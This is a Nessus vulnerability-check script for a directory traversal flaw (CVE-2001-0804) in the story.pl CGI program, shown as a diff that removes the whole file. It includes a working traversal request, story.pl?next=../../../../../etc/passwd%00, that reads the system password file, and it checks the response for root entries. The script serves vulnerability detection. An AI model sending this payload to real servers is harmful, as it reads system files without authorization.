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- #
- # This script was written by Georges Dagousset <georges.dagousset@alert4web.com>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10817);
- script_bugtraq_id(3028);
- script_version("$Revision: 1.16 $");
- script_cve_id("CVE-2001-0804");
- name["english"] = "Interactive Story Directory Traversal Vulnerability";
- script_name(english:name["english"]);
-
- desc["english"] = "It is possible to read arbitrary files on
- the remote server by requesting :
-
- GET /cgi-bin/story.pl?next=../../../file_to_read%00
-
- An attacker may use this flaw to read arbitrary files on
- this server.
-
- Solution: Upgrade story.pl to the latest version (1.4 or later).
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Checks for the presence of /cgi-bin/story.pl";
- script_summary(english:summary["english"]);
-
- script_category(ACT_GATHER_INFO);
-
- script_copyright(english:"This script is Copyright (C) 2001 Alert4Web.com");
- family["english"] = "CGI abuses";
- script_family(english:family["english"]);
-
- script_dependencie("find_service.nes", "http_version.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("http_func.inc");
- include("http_keepalive.inc");
-
- function check(url)
- {
- req = string(url, "?next=../../../../../etc/passwd%00");
- req = http_get(item:req, port:port);
- buf = http_keepalive_send_recv(port:port, data:req);
- if(buf == NULL)exit(0);
- if(egrep(pattern:"^HTTP/.* 404 .*", string:buf))return(0);
- if(egrep(pattern:".*root:.*:0:[01]:.*", string:buf))
- {
- security_hole(port);
- exit(0);
- }
-
- req = string(url, "?next=about");
- req = http_get(item:req, port:port);
- buf = http_keepalive_send_recv(port:port, data:req);
- if( buf == NULL ) exit(0);
- if (egrep(pattern:"This is version 1\.[0-3] of the story program", string:buf))
- {
- security_hole(port:port);
- exit(0);
- }
- }
-
- port = get_http_port(default:80);
-
- if(!get_port_state(port))exit(0);
-
-
- foreach dir ( cgi_dirs() )
- {
- check(url:string(dir, "/story.pl"));
- #check(url:string(dir, "/story/story.pl"));
- }
-